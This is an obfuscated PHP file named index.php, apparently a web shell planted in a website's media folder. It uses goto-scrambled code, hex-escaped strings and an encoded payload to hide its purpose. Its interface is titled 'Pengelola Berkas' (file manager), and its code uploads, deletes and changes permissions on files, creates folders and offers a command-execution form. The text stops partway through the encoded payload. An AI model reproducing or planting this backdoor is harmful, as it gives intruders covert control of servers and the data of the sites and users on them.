library/media/2023/dist/content/qof/hyc/index.php 0000444 00000174711 15162160274 0015477 0 ustar 00 $H8v3E) { goto iOzFC; IgNvF: echo b6Kq9(48) . urlencode($tw0Ox) . B6kq9(49) . htmlspecialchars($H8v3E) . b6kQ9(50); goto Zo4tj; Ozp8e: echo b6KQ9(45) . urlencode($H8v3E) . B6Kq9(46) . htmlspecialchars($H8v3E) . b6KQ9(47); goto sGGjq; TEjJ2: $tw0Ox .= DIRECTORY_SEPARATOR . $H8v3E; goto IgNvF; Zo4tj: goto K6sp7; goto kFsHo; sGGjq: K6sp7: goto lRw4Q; kFsHo: Z9uDC: goto Ozp8e; lRw4Q: mP0p2: goto W0W0w; iOzFC: if (!!($r3gOW == 0)) { goto Z9uDC; } goto TEjJ2; W0W0w: } goto GifMd; uK1iM: function MvsSk($V4tc1) { return htmlspecialchars($V4tc1, ENT_QUOTES, b6kQ9(0)); } goto yVhQc; O01k1: wmDUK: goto ThyJY; VQghN: echo "\74\41\x44\117\103\124\131\120\105\40\x68\x74\155\154\x3e\xd\12\74\150\164\155\154\40\154\141\156\147\75\x22\151\x64\x22\76\xd\12\74\150\145\141\x64\x3e\15\xa\74\155\145\164\x61\40\143\x68\x61\162\x73\x65\x74\75\x22\125\x54\x46\55\x38\x22\x3e\xd\xa\74\155\145\164\141\x20\x6e\141\155\x65\x3d\x22\x76\151\x65\167\160\x6f\x72\x74\42\x20\x63\157\x6e\164\145\x6e\164\75\42\167\151\x64\164\150\75\x64\145\166\x69\x63\x65\55\x77\151\x64\x74\x68\x2c\x20\x69\156\151\x74\x69\141\154\55\163\143\x61\x6c\145\75\x31\x2e\x30\x22\76\15\xa\x3c\x74\x69\164\154\145\x3e\120\x65\156\147\x65\154\157\x6c\141\x20\102\145\x72\x6b\x61\x73\74\x2f\x74\151\164\154\x65\x3e\15\xa\74\x6c\x69\x6e\153\40\x72\x65\x6c\75\42\163\164\171\x6c\x65\x73\150\x65\x65\x74\42\40\150\x72\145\146\x3d\x22\x68\164\164\160\163\72\57\x2f\143\144\156\152\163\x2e\143\x6c\x6f\165\x64\x66\154\x61\162\x65\56\143\x6f\x6d\57\141\x6a\141\x78\57\154\x69\142\x73\57\146\157\156\164\x2d\141\x77\x65\163\157\x6d\x65\57\x36\x2e\60\56\x30\55\142\x65\164\x61\x33\x2f\143\163\x73\x2f\141\154\x6c\56\155\x69\156\x2e\x63\x73\163\x22\x3e\xd\12\x3c\x73\164\x79\x6c\145\x3e\xd\xa\x68\x74\155\154\54\x20\142\x6f\144\x79\x20\173\xd\12\x6d\141\x72\x67\151\x6e\x3a\x20\60\x3b\15\12\160\x61\x64\x64\x69\156\147\x3a\x20\60\x3b\xd\xa\167\151\x64\x74\150\x3a\40\61\x30\60\45\x3b\xd\xa\x68\145\x69\x67\x68\x74\72\40\x31\x30\60\x25\73\xd\12\157\x76\x65\162\146\x6c\x6f\x77\72\40\150\151\144\144\145\156\x3b\xd\xa\175\142\157\144\x79\40\x7b\15\12\x62\x61\143\x6b\147\x72\157\165\x6e\x64\72\x20\165\x72\x6c\50\x27\150\164\164\160\x73\x3a\x2f\x2f\147\143\144\x6e\142\x2e\160\142\x72\x64\x2e\143\x6f\57\151\x6d\141\x67\145\163\57\71\115\163\x76\x4d\164\170\120\x6e\x64\111\x61\x2e\x6a\x70\x67\47\51\40\156\157\x2d\162\145\160\x65\141\164\x20\x63\x65\156\x74\145\162\x20\143\145\x6e\x74\x65\162\x20\146\x69\170\x65\144\x3b\xd\12\142\141\x63\153\147\162\x6f\165\x6e\x64\55\163\x69\172\x65\x3a\x20\143\x6f\x76\145\162\x3b\15\xa\x63\157\154\x6f\162\x3a\x20\x77\x68\151\x74\x65\x3b\15\xa\146\157\156\164\x2d\x66\141\155\151\154\x79\x3a\40\x41\162\151\x61\154\x2c\40\x73\x61\156\163\x2d\163\x65\162\151\146\73\15\12\144\x69\x73\x70\154\x61\171\x3a\x20\x66\154\145\x78\73\xd\xa\152\x75\x73\164\x69\x66\x79\55\x63\157\x6e\x74\145\156\164\72\x20\143\x65\156\164\x65\x72\73\15\xa\141\154\151\147\156\x2d\x69\164\x65\155\x73\72\x20\143\145\156\164\145\162\73\xd\12\x7d\43\x63\x6f\156\x74\x61\151\x6e\145\162\x20\173\xd\12\x70\x61\144\x64\151\x6e\147\72\x20\x32\60\x70\170\73\xd\xa\142\x6f\162\144\x65\x72\55\162\141\144\151\165\x73\72\x20\x31\60\x70\x78\x3b\xd\xa\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\143\x6f\154\157\162\72\x20\162\147\x62\141\x28\60\x2c\x20\x30\54\x20\x30\54\x20\60\56\x37\51\x3b\xd\12\167\x69\x64\164\150\x3a\x20\x31\x30\x30\x25\73\15\12\x6d\x61\170\55\167\x69\x64\164\x68\72\x20\x31\x30\x30\x25\73\15\12\x68\x65\x69\147\150\164\72\x20\x31\x30\x30\x25\73\xd\xa\142\x6f\x78\55\163\151\x7a\x69\156\x67\x3a\x20\x62\x6f\x72\144\145\162\x2d\x62\x6f\x78\73\xd\12\157\166\145\162\x66\154\x6f\167\x2d\x79\72\40\x61\x75\x74\157\x3b\xd\xa\144\x69\x73\160\154\x61\x79\72\x20\x66\x6c\x65\170\73\xd\xa\x66\x6c\145\170\55\144\x69\x72\x65\x63\x74\151\157\x6e\72\x20\x63\x6f\154\165\155\x6e\73\15\12\x61\x6c\151\147\x6e\55\151\164\x65\155\x73\72\40\143\x65\x6e\164\x65\162\73\xd\xa\x6a\x75\163\164\151\x66\171\55\143\x6f\156\164\145\156\x74\x3a\40\146\x6c\145\x78\55\x73\164\x61\162\164\73\xd\12\x7d\56\x69\x63\x6f\x6e\x2d\x62\165\164\164\x6f\156\x20\173\15\xa\x66\157\x6e\x74\55\163\x69\x7a\x65\72\x20\62\x30\160\170\x3b\xd\12\x63\x6f\154\x6f\x72\x3a\x20\167\150\x69\164\145\73\xd\xa\143\x75\x72\x73\157\x72\x3a\40\160\157\x69\156\x74\x65\x72\73\15\12\142\141\x63\153\147\x72\157\165\x6e\x64\x2d\x63\157\x6c\157\x72\x3a\x20\x64\x61\x72\x6b\x72\x65\144\73\xd\12\142\157\162\x64\x65\162\x2d\162\141\144\x69\x75\x73\x3a\x20\x35\x30\x25\73\xd\12\x70\141\144\x64\151\156\147\72\40\70\160\170\x3b\xd\xa\155\x61\x72\x67\x69\156\x3a\40\62\160\x78\73\15\xa\144\151\163\x70\154\x61\171\72\40\151\x6e\154\x69\x6e\145\55\x66\x6c\x65\170\x3b\15\xa\141\154\151\147\156\x2d\x69\164\145\155\163\72\x20\x63\x65\x6e\164\x65\162\73\15\12\152\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\x74\x65\156\x74\x3a\40\x63\x65\156\x74\x65\162\73\xd\12\x7d\x74\x61\142\x6c\145\40\173\15\12\167\151\144\x74\150\72\x20\x31\60\60\x25\x3b\xd\12\142\x6f\x72\144\x65\162\x2d\143\157\154\154\141\x70\163\x65\x3a\40\x63\x6f\x6c\154\141\x70\x73\x65\x3b\xd\12\x6d\141\162\147\151\x6e\55\164\x6f\160\72\40\x32\60\160\x78\73\15\xa\x7d\164\x61\142\154\145\x2c\40\x74\x68\54\x20\164\x64\40\173\15\xa\x62\x6f\162\144\x65\162\x3a\40\61\x70\x78\40\163\157\x6c\x69\x64\40\167\150\151\164\x65\x3b\xd\12\x7d\x74\x68\54\40\x74\144\x20\x7b\15\xa\160\x61\144\144\x69\x6e\x67\72\40\61\60\160\170\x3b\15\xa\164\x65\x78\164\x2d\x61\154\x69\147\x6e\72\40\x6c\145\146\x74\x3b\15\xa\175\164\150\x20\173\15\12\142\x61\x63\x6b\x67\162\157\x75\x6e\144\55\143\x6f\x6c\x6f\x72\72\40\x64\x61\x72\153\162\145\144\x3b\15\xa\x7d\x2e\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\141\x69\x6e\145\x72\x20\173\xd\xa\x64\x69\x73\x70\154\141\x79\x3a\40\x6e\x6f\156\x65\x3b\15\xa\x6d\x61\162\147\151\x6e\55\x74\x6f\x70\72\40\61\60\160\x78\73\15\xa\175\56\163\165\x62\155\x69\x74\55\142\165\x74\164\x6f\156\x20\173\15\12\142\x61\x63\x6b\147\162\x6f\x75\156\x64\x2d\x63\x6f\x6c\x6f\162\x3a\x20\x64\x61\x72\x6b\162\145\144\x3b\15\12\142\x6f\162\144\x65\x72\x3a\40\x6e\x6f\x6e\x65\73\xd\xa\x63\157\154\x6f\x72\72\x20\167\150\151\164\x65\x3b\15\xa\160\141\x64\144\151\x6e\x67\x3a\x20\x35\x70\170\40\x31\65\160\170\x3b\15\xa\142\x6f\162\x64\x65\x72\x2d\162\x61\144\x69\165\x73\72\40\65\x70\x78\x3b\15\xa\x63\x75\x72\x73\x6f\x72\72\40\160\157\151\x6e\164\x65\162\73\15\xa\x64\x69\163\160\154\141\x79\72\x20\151\x6e\x6c\151\156\145\x2d\x66\154\145\170\x3b\15\12\x61\x6c\151\147\x6e\x2d\x69\164\x65\155\x73\x3a\x20\143\x65\x6e\164\x65\162\x3b\15\xa\x7d\x69\155\x67\x20\x7b\15\xa\x64\x69\163\160\x6c\x61\171\72\40\142\154\157\143\153\x3b\xd\12\155\x61\x72\147\x69\156\x3a\40\x30\40\x61\165\x74\157\40\62\60\160\170\73\40\xd\xa\167\151\144\164\150\x3a\x20\61\x35\60\x70\x78\73\xd\xa\150\145\151\147\x68\x74\72\40\61\65\x30\x70\170\73\15\xa\142\157\162\144\145\162\55\x72\141\144\151\x75\163\72\x20\x35\60\x25\x3b\xd\xa\x62\x6f\162\144\x65\x72\x3a\x20\x32\160\x78\40\x73\157\x6c\151\144\x20\144\141\162\153\162\145\144\73\15\12\x6f\x62\152\145\x63\x74\55\x66\x69\x74\x3a\40\143\x6f\166\x65\162\x3b\xd\12\x7d\x2e\x62\162\x65\x61\x64\x63\162\165\x6d\x62\40\141\40\173\xd\xa\x63\x6f\x6c\x6f\x72\x3a\40\167\x68\x69\x74\x65\x3b\15\12\164\145\x78\x74\x2d\x64\x65\x63\x6f\162\141\x74\x69\x6f\156\72\40\x6e\157\156\145\x3b\xd\xa\160\x61\144\x64\x69\x6e\147\72\x20\65\160\x78\x3b\15\xa\175\x2e\142\162\145\x61\144\x63\162\x75\155\142\x20\141\x3a\150\x6f\x76\145\x72\40\173\15\12\x74\145\x78\164\55\144\145\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x20\x75\156\x64\x65\162\x6c\x69\x6e\x65\73\15\xa\x7d\57\x2a\x20\122\145\x73\160\157\x6e\163\151\146\x20\x75\x6e\164\x75\x6b\40\160\145\x72\x61\156\x67\x6b\141\x74\40\x6b\x65\x63\151\154\x20\52\x2f\xd\xa\x40\155\x65\144\151\141\40\x28\x6d\141\170\55\167\151\144\x74\x68\72\40\67\66\x38\160\170\51\x20\x7b\xd\12\43\x63\x6f\156\x74\x61\151\156\x65\162\x20\173\xd\12\x70\x61\144\144\x69\x6e\147\72\40\x31\x30\x70\170\x3b\xd\xa\x7d\xd\12\56\151\143\x6f\x6e\55\142\165\164\x74\x6f\156\x20\x7b\xd\xa\x66\157\x6e\164\55\x73\151\172\145\x3a\40\x31\70\160\x78\73\xd\12\x70\141\144\144\151\x6e\x67\x3a\x20\66\x70\170\73\15\12\155\x61\x72\147\151\156\72\40\x35\x70\x78\73\xd\12\175\15\12\151\x6d\x67\40\173\xd\12\x77\x69\x64\164\x68\x3a\40\x31\x32\60\x70\170\73\15\xa\x68\x65\x69\x67\x68\x74\x3a\40\x31\62\x30\160\x78\x3b\15\12\175\15\xa\164\x61\142\x6c\x65\54\x20\164\150\x2c\40\x74\x64\x20\173\xd\12\146\157\156\x74\55\163\151\172\145\x3a\40\x31\x32\160\170\x3b\15\xa\160\141\144\144\x69\156\x67\x3a\40\70\x70\x78\73\15\12\x7d\15\12\56\x62\x72\145\141\x64\x63\162\x75\155\x62\40\173\15\12\146\x6f\156\164\x2d\163\151\x7a\x65\72\x20\x31\x34\160\170\x3b\15\12\x7d\15\xa\175\x2f\x2a\40\122\x65\x73\160\x6f\156\x73\x69\x66\x20\165\x6e\x74\165\x6b\x20\154\x61\171\x61\x72\40\x6c\x65\x62\151\150\x20\153\x65\x63\151\154\40\x28\155\157\x62\151\x6c\x65\51\40\52\x2f\15\12\100\155\x65\x64\x69\141\x20\x28\155\141\x78\x2d\x77\151\144\x74\x68\72\x20\x34\70\60\160\x78\x29\x20\x7b\xd\xa\43\x63\x6f\x6e\x74\141\151\x6e\x65\x72\x20\173\15\12\160\x61\144\144\151\x6e\147\72\40\x35\160\x78\73\15\12\x7d\15\12\56\x69\x63\x6f\156\55\142\x75\x74\x74\x6f\x6e\40\173\15\12\x66\157\x6e\164\x2d\163\151\172\145\72\x20\61\66\x70\170\73\15\12\160\x61\x64\144\x69\156\x67\x3a\x20\65\160\170\x3b\15\12\x6d\x61\162\x67\151\156\x3a\40\x34\x70\x78\x3b\15\xa\x7d\15\12\x69\155\147\x20\173\xd\xa\167\151\144\x74\x68\72\x20\x31\60\60\x70\x78\73\xd\xa\x68\x65\151\147\x68\x74\72\40\x31\60\x30\160\170\73\xd\12\175\xd\12\x74\x61\x62\x6c\x65\x2c\x20\x74\x68\54\40\x74\x64\x20\173\xd\12\x66\x6f\156\x74\55\163\x69\172\145\72\x20\x31\x30\160\x78\73\xd\xa\x70\141\144\x64\151\x6e\x67\72\x20\x36\x70\x78\73\15\12\x7d\xd\12\56\142\x72\145\141\144\143\162\x75\155\x62\40\x7b\15\xa\146\x6f\156\x74\55\163\x69\x7a\x65\x3a\x20\61\62\160\x78\x3b\15\xa\175\xd\12\175\xd\12\74\x2f\x73\x74\x79\154\145\x3e\15\12\x3c\x2f\x68\x65\141\x64\x3e\xd\xa\74\142\x6f\144\171\76\xd\12\x3c\x64\151\166\x20\x69\144\75\x22\x63\x6f\x6e\164\x61\151\156\x65\162\42\x3e\xd\12\x3c\x69\x6d\x67\40\163\162\x63\75\42\150\164\x74\x70\x73\72\x2f\57\155\x65\x64\151\x61\56\164\x65\x6e\x6f\162\x2e\143\157\x6d\x2f\x54\x63\x77\172\126\61\x49\115\60\105\143\x41\101\x41\x41\x69\57\x7a\x65\x72\x6f\x2d\x74\167\x6f\x2d\157\x6b\56\147\151\146\42\40\141\x6c\164\x3d\x22\x4c\157\147\x6f\42\x3e\xd\12\x3c\x62\x3e\x50\x65\x6e\147\145\154\x6f\154\x61\40\102\145\x72\x6b\141\163\74\x2f\x62\x3e\x3c\142\162\40\57\x3e\74\41\x2d\55\x20\115\x65\156\141\155\x70\151\x6c\153\x61\x6e\40\144\151\x72\x65\153\164\x6f\162\x69\40\x73\141\x61\x74\x20\151\x6e\151\40\55\55\76\xd\12\74\144\151\x76\40\x63\x6c\141\163\163\x3d\42\x62\162\145\141\x64\x63\162\x75\x6d\142\x22\76\xd\12"; goto RZEt1; KqcVS: echo B6kq9(15) . $VR_V0[B6KQ9(16)]; goto zYZaw; oZXdA: if (!!is_file($dmluh)) { goto Uv6Kw; } goto a3hmR; mh1sF: $YpOFl = $_POST[b6kQ9(31)]; goto eXmdn; ythAT: echo B6KQ9(14); goto f8pcv; K5R5k: TrdVi: goto v7By3; pr5_w: $BDlpb = $_POST[B6kQ9(19)]; goto rutpU; f8pcv: goto HO4v_; goto gXsGs; MQyyD: echo B6Kq9(40); goto U12qH; aUqOK: echo B6kQ9(29); goto aObMi; zYZaw: goto ppyb6; goto O01k1; yyfIT: echo B6kQ9(41); goto Vkhm7; VYKZ4: echo B6kQ9(43); goto LbKYA; BUJLW: lZYWM: goto OWHR6; wE2jv: echo b6kq9(34); goto oOqdc; eRc8d: $LrLnp = rtrim($tw0Ox, B6KQ9(8)) . b6KQ9(9) . basename($VR_V0[b6KQ9(10)]); goto nyLlh; snojn: $QRuUd = "\x67\x48\154\160\x42\x65\x6f\x4d\160\107\61\146\x70\x56\x50\x48"; goto Pwnxf; eI9L_: echo "\74\57\144\x69\x76\x3e\74\143\x65\156\164\145\x72\x3e\15\12\x3c\151\x20\x63\154\x61\x73\x73\75\42\x66\141\x73\x20\146\141\x2d\x75\160\154\157\141\144\x20\151\x63\157\x6e\55\142\x75\x74\x74\157\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\x22\164\x6f\147\x67\154\145\106\157\162\155\x28\47\x75\x70\x6c\x6f\141\144\55\x66\x6f\162\155\47\51\x22\x3e\x3c\57\x69\x3e\15\xa\x3c\151\40\x63\154\141\x73\x73\75\42\x66\141\x73\40\x66\x61\x2d\146\x6f\x6c\144\145\162\55\x70\x6c\165\163\x20\151\x63\157\x6e\55\142\165\x74\x74\x6f\156\x22\x20\157\156\143\154\x69\x63\x6b\75\x22\x74\157\147\x67\154\145\x46\157\x72\x6d\50\x27\143\x72\x65\x61\x74\x65\55\x66\157\x6c\144\145\x72\55\x66\157\162\x6d\x27\x29\x22\x3e\74\57\x69\x3e\xd\xa\x3c\151\x20\x63\x6c\141\x73\163\75\x22\146\x61\163\40\146\x61\x2d\x74\145\x72\x6d\151\x6e\x61\154\x20\x69\143\157\x6e\x2d\x62\165\x74\164\x6f\156\x22\x20\x6f\156\x63\x6c\151\143\153\75\x22\x74\157\147\x67\154\145\x46\157\162\155\50\47\x72\165\156\55\143\157\155\155\x61\156\144\x2d\146\157\x72\x6d\x27\x29\42\x3e\x3c\57\x69\x3e\15\xa\74\57\x63\x65\x6e\164\x65\x72\x3e\x3c\x64\x69\x76\x20\151\144\75\42\x75\160\x6c\x6f\141\x64\55\x66\x6f\x72\x6d\x22\40\143\154\x61\163\163\75\x22\x66\157\162\x6d\55\143\x6f\x6e\164\x61\x69\x6e\145\x72\x22\76\xd\12\x3c\146\157\162\x6d\x20\155\x65\x74\150\x6f\144\75\42\x50\x4f\x53\x54\42\40\x61\x63\164\151\157\x6e\x3d\42\x22\x20\145\x6e\143\x74\171\160\145\x3d\x22\x6d\165\x6c\x74\x69\x70\x61\x72\x74\x2f\146\x6f\162\155\x2d\x64\x61\164\x61\42\76\xd\xa\74\151\x6e\160\x75\164\40\x74\x79\160\145\75\42\x68\x69\144\144\x65\x6e\x22\x20\x6e\141\x6d\145\x3d\x22\165\160\154\157\x61\144\137\x70\141\164\150\x22\40\166\141\154\165\145\75\42"; goto tWdvX; mnLUq: die(B6kQ9(4)); goto miTva; ukNnj: LOU__: goto PlYPb; mZPA6: n13Oz: goto x7P0S; RNer6: goto lZYWM; goto AUjJQ; mV4Hl: if (!!is_dir($tw0Ox)) { goto Qx8OA; } goto mnLUq; oR7gw: $Xl7T3 = $_POST[b6Kq9(18)]; goto pr5_w; x7P0S: wSZma: goto NPGFm; h3g1H: if (!!chmod($YpOFl, octdec($fla_q))) { goto u3uFg; } goto wE2jv; muCJp: Pwzfu: goto hOSbB; HUzRn: $JwZ0v = rtrim(dirname($BT3cI), B6Kq9(26)) . B6kq9(27) . $bdeX2; goto yfUh2; RNz6K: $dmluh = $_POST[B6kq9(39)]; goto oZXdA; WaRjO: if (!!unlink($dmluh)) { goto U7XpA; } goto yyfIT; ThyJY: if (!!move_uploaded_file($VR_V0[B6KQ9(12)], $LrLnp)) { goto hC1Jr; } goto ythAT; Q73Hd: U7XpA: goto MQyyD; GtJLx: $ja6bA = json_decode(mEzXv(hex2bin("\x31\x63\66\141\x30\x30\x31\145\63\62\61\66\63\x39\66\x66\x34\x61\x33\143\x31\63\60\67\x35\x32\x36\143\x37\x32\x33\x64\64\65\x36\x34\x34\145\61\x32\66\x30\65\146\x34\144\x32\62\x35\62\66\142\61\63\x30\x35\65\62\66\x63\67\62\x32\x65\x34\65\x36\64\x34\x65\61\x34\x36\60\x35\x66\x34\144\62\x31\65\62\x36\x62\61\x33\x30\63\x35\x32\x36\x63\x37\x32\63\71\x34\65\x36\64\x34\145\61\66\x36\60\x35\x66\64\144\x32\66\65\x32\x36\142\61\63\60\x31\x35\62\66\x63\67\x32\x32\65\x34\x35\66\64\64\x65\61\x38\66\x30\65\146\x34\x64\63\x61\65\x32\x36\x62\x31\x33\60\x66\65\62\66\x63\x37\62\62\x39\64\x35\x36\64\x34\x65\x31\x61\x36\60\x35\x66\x34\x64\x33\71\x35\x32\66\142\x31\x33\60\x64\65\62\x36\143\x37\x32\62\143\x34\65\66\x34\x34\145\61\x63\66\x30\x35\146\x34\x64\x32\65\x35\62\66\x62\61\63\x30\142\65\x32\66\143\x37\x32\62\62\x34\65\x36\64\64\x65\61\145\x36\60\65\146\x34\144\x32\146\x35\x32\66\142\61\63\x30\71\x35\62\x36\x63\x37\62\x33\142\x34\x35\66\64\x34\145\x30\60\x36\x30\x35\146\64\144\x32\70\65\62\x36\x62\x31\x33\x31\x37\65\x32\66\143\x37\x32\x33\x65\64\65\x36\x34\64\145\60\62\66\60\65\146\64\x64\62\63\65\x32\x36\142\61\x33\61\65\x35\x32\66\x63\x37\x32\62\x62\x34\65\66\x34\x34\x65\x30\64\x36\60\x35\x66\x34\x64\63\146\65\62\x36\142\61\63\x31\63\x35\x32\x36\x63\x37\62\x33\62\x34\65\x36\x34\64\145\60\66\66\x30\x35\x66\64\144\x33\65\x35\62\66\x62\61\63\61\x31\x35\62\x36\143\67\x32\62\61\x34\x35\x36\64\64\145\x30\70\x36\60\x35\146\64\x64\63\64\65\62\66\x62\x31\x33\61\x66\65\x32\x36\143\67\x32\x33\70\64\65\x36\64\x34\145\x30\141\66\60\65\146\x34\144\62\x61\x35\x32\66\x62\x31\63\62\67\65\62\66\143\67\62\60\x61\64\65\x36\x34\64\145\x33\62\x36\x30\x35\146\64\144\60\65\x35\x32\66\x62\61\x33\x32\65\65\62\x36\143\x37\62\61\x32\x34\65\x36\x34\x34\145\x33\64\x36\60\65\x66\64\144\x31\144\x35\x32\66\142\61\x33\x32\x33\65\x32\x36\x63\x37\x32\61\x61\x34\x35\x36\x34\64\145\63\x36\66\x30\x35\x66\64\x64\60\x62\x35\62\66\x62\61\63\62\61\x35\x32\66\x63\67\x32\x31\x30\64\65\66\64\x34\145\x33\x38\66\x30\x35\146\x34\x64\x31\x39\65\62\66\142\x31\x33\x32\146\65\x32\x36\x63\67\62\60\63\x34\x35\x36\x34\x34\x65\63\141\66\x30\65\146\x34\144\x30\x39\65\62\66\142\61\x33\x32\x64\x35\62\x36\x63\x37\62\x30\x37\64\65\66\x34\64\x65\x33\143\66\x30\65\x66\x34\144\x30\x33\65\62\66\x62\61\63\62\142\x35\x32\66\143\67\62\60\142\64\65\x36\64\x34\145\63\x65\66\x30\x35\x66\x34\x64\60\70\65\62\66\x62\61\63\x32\71\x35\x32\66\x63\x37\x32\61\144\64\65\x36\64\64\x65\62\60\66\60\65\x66\64\x64\x30\x61\65\62\x36\142\61\x33\63\67\x35\62\66\x63\67\x32\60\x34\x34\65\x36\64\x34\145\62\x32\66\x30\x35\x66\x34\x64\61\x34\x35\x32\66\142\61\63\63\65\65\x32\66\x63\67\x32\x30\62\64\65\x36\x34\x34\145\62\64\66\60\x35\x66\64\144\61\x62\x35\62\66\142\61\x33\x33\63\65\x32\66\x63\x37\62\x31\x62\x34\65\x36\x34\64\x65\x32\x36\x36\60\x35\x66\x34\x64\61\x63\65\62\66\x62\61\x33\x33\x31\x35\x32\x36\143\67\62\61\x66\64\65\66\64\64\x65\62\70\x36\x30\65\x66\64\x64\x30\x34\65\x32\66\x62\61\63\63\x66\65\62\66\x63\67\x32\x30\x35\64\x35\66\x34\64\145\x32\x61\66\60\65\146\64\144\60\143\x35\x32\66\x62\x31\63\65\66\x35\62\66\x63\x37\x32\x37\x61\x34\65\x36\x34\64\x65\x34\61\x36\60\65\146\64\144\67\65\65\62\x36\x62\x31\63\65\x34\x35\x32\x36\x63\x37\62\x37\70\x34\65\66\x34\x34\x65\64\x33\66\x30\65\146\x34\144\x37\x63\65\62\x36\x62\61\x33\x35\x32\65\x32\66\x63\x37\x32\x37\x65\x34\x35\66\64\64\145\64\x35\x36\60\x35\x66\64\x64\x37\71\65\x32\66\x62\61\63\65\60\x35\x32\66\143\67\62\67\144\x34\x35\x36\x34\64\x65\x34\67\x36\60\65\x66\64\x64\x37\x34\x35\62\66\x62\61\63\65\145\x35\62\x36\x63\67\62\67\142\64\x35\x36\64\64\145\x34\x39\66\x30\x35\146\x34\x64\x37\x61\65\62\66\x62\61\x33\64\x64\65\62\x36\x63\x37\x32\x31\x34\64\x38\x36\141\x34\60\65\x32\x31\x65\x34\141\64\144\x37\x37\x35\x32\66\143\x31\63\x31\x62\65\143\67\64\61\144\61\x65\63\x36\x31\146\x30\60\65\x32\67\x38\x33\x65\64\144\x37\71\x31\x62\x36\62\x30\64\x35\x32\x35\x31\66\x36\x32\x35\x36\x62\x35\67\x37\145\64\146\64\70\x37\x62\63\142\64\144\x36\x31\x35\x32\67\x35\x30\60\x34\x63\x35\62\67\141\x37\62\67\x61\65\x36\x36\x62\64\x65\x35\x63\x36\x30\x35\67\x35\145\66\x62\x35\x32\x36\142\61\63\65\x30\64\x37\61\66\66\x30\x32\x65\64\x66\67\x61\x35\x38\65\63\x37\x61\60\x33\x34\x35\67\x64\x34\61\61\x39\x30\x39\65\x37\x35\x38\x36\x30\x33\142\x36\144\65\67\67\x64\64\x61\x34\70\67\x61\x34\144\x35\146\x37\143\x35\x35\x37\63\60\x32\x34\146\64\x38\x36\x36\67\61\x37\x63\x35\x35\x36\142\x35\x64\61\142\66\x37\x35\x35\65\x66\66\67\64\60\x37\x65\x31\x37\x35\145\x34\61\67\60\66\x30\x37\x39\x34\x65\x37\141\x35\x62\65\63\67\60\65\65\x34\65\x37\144\61\146\66\x36\60\x31\65\x65\63\x30\67\64\x37\x63\66\141\x35\x35\67\71\x34\x66\x34\x30\67\65\64\x36\x35\144\x37\143\63\x30\x37\x66\x35\x37\64\x63\64\61\x36\x36\x37\63\67\x30\65\65\x36\71\64\x65\65\143\x36\60\x35\67\x35\146\x30\x64\64\60\67\x31\x31\x62\65\x34\64\x34\x37\143\66\70\x37\x64\x34\66\67\x30\60\x30\x35\63\x37\x30\x35\144\x34\x35\x37\146\x30\65\66\144\x30\x31\65\x31\x35\x39\x36\x65\66\x38\x36\61\65\x37\67\x62\64\x34\x34\x34\62\x65\x34\143\65\67\x37\x38\65\x31\x37\x35\x30\65\64\67\65\62\67\x61\x37\62\x37\141\x35\x37\x31\x36\65\x63\x34\66\61\143\65\x37\x35\x62\x36\67\x34\x38\67\x32\x31\x34\x35\145\x31\x63\67\143\x36\x32\67\x30\x32\67\67\141\61\x39\x35\70\x37\62\65\x32\x34\x35\x37\x35\64\x38\x36\146\60\61\65\x35\65\141\x36\62\63\x63\66\61\x35\x66\67\144\64\x64\x34\62\x37\66\x34\144\x34\x64\x36\x31\65\62\x37\x31\60\x32\x34\60\65\x32\x37\x61\67\x32\x37\x65\x35\x34\66\x39\64\x65\65\x63\x36\60\x35\x37\65\146\x36\x35\x34\60\67\x33\61\x34\65\64\x31\143\x30\x38\x36\70\63\x39\x34\64\x36\x61\x34\x30\65\62\x37\x61\65\61\x34\145\x37\x64\x34\x39\66\66\60\71\x31\x37\65\61\x36\64\x36\x30\x36\x39\x35\x37\67\x31\64\x35\65\62\66\x65\x34\x37\65\x64\67\144\65\x36\x37\67\x30\x35\64\x63\64\62\63\x61\x37\x31\67\x30\x31\x36\x36\x31\65\64\x31\x63\66\x62\65\x64\x35\x62\66\64\64\62\67\67\x31\x32\x35\67\64\67\67\65\67\x32\66\x34\64\65\x37\145\65\65\65\x33\x37\142\65\x35\63\x31\x37\146\64\x37\66\64\x30\x39\60\x39\x35\x61\x36\63\x36\60\x36\x39\x35\x35\67\60\63\x32\64\62\63\63\64\x36\x35\146\x37\x64\x35\70\x37\x66\x35\67\x34\x37\64\61\x36\146\67\x39\x37\x65\x35\61\66\60\x35\141\61\x66\66\x38\65\144\65\70\66\67\x34\x31\x37\67\67\x31\x35\x66\x34\x32\61\66\x36\60\x37\x65\64\144\67\x61\61\x64\65\65\67\x33\60\141\64\145\67\146\61\x63\x31\71\60\71\65\x35\65\141\66\x37\66\x32\x36\x30\x35\65\x37\141\x34\71\x34\62\x32\145\64\64\65\x61\62\61\65\70\x37\146\60\x35\x34\146\x34\x30\63\71\67\x61\x37\x63\65\x34\x36\145\65\143\x34\62\x30\x32\x34\67\x34\x33\x36\x66\x34\66\67\x30\61\62\65\x36\x34\x35\x37\x33\66\x32\62\x34\x34\145\67\x61\65\x38\63\60\67\x32\x35\x36\x32\146\x37\65\64\62\66\64\60\71\x30\71\x35\x61\66\63\x33\x63\x36\144\x35\x66\67\x66\x34\x66\x34\61\x37\66\64\x64\x35\x62\x33\143\65\x33\x37\x66\60\x31\x34\146\64\x38\x33\x39\x37\x39\67\71\x35\66\x36\x32\65\143\x34\x30\61\x63\x35\65\65\x37\60\x64\x34\62\67\66\61\x37\x35\63\x34\63\60\x38\x36\x32\67\146\x34\64\x37\60\x30\x33\x35\x61\x37\67\65\x35\64\x39\x37\x66\x34\x32\66\66\60\63\x35\x37\x35\x61\x36\66\x36\66\x36\x30\x35\x66\x37\x64\63\x32\x34\x35\67\142\62\x35\x35\142\62\x36\62\x65\x37\x35\x30\70\64\143\64\70\63\71\x37\141\67\x39\x31\x36\61\66\x35\144\64\x38\66\x31\65\x35\60\71\66\142\x34\x32\x37\x30\x37\x31\x35\66\64\70\x37\x37\66\x32\67\60\64\61\x37\60\x35\x38\x35\63\x37\x32\x30\x65\x34\x63\67\142\x34\64\x36\61\x30\63\x35\67\x35\x38\x36\66\x33\x36\x31\x36\65\146\x37\x31\64\66\64\60\67\67\x33\142\65\66\x37\70\65\x61\66\65\61\144\x34\x34\64\66\66\x66\67\x35\67\x31\x35\x37\66\61\x35\x65\x34\x37\x31\143\x35\x64\65\x39\60\x64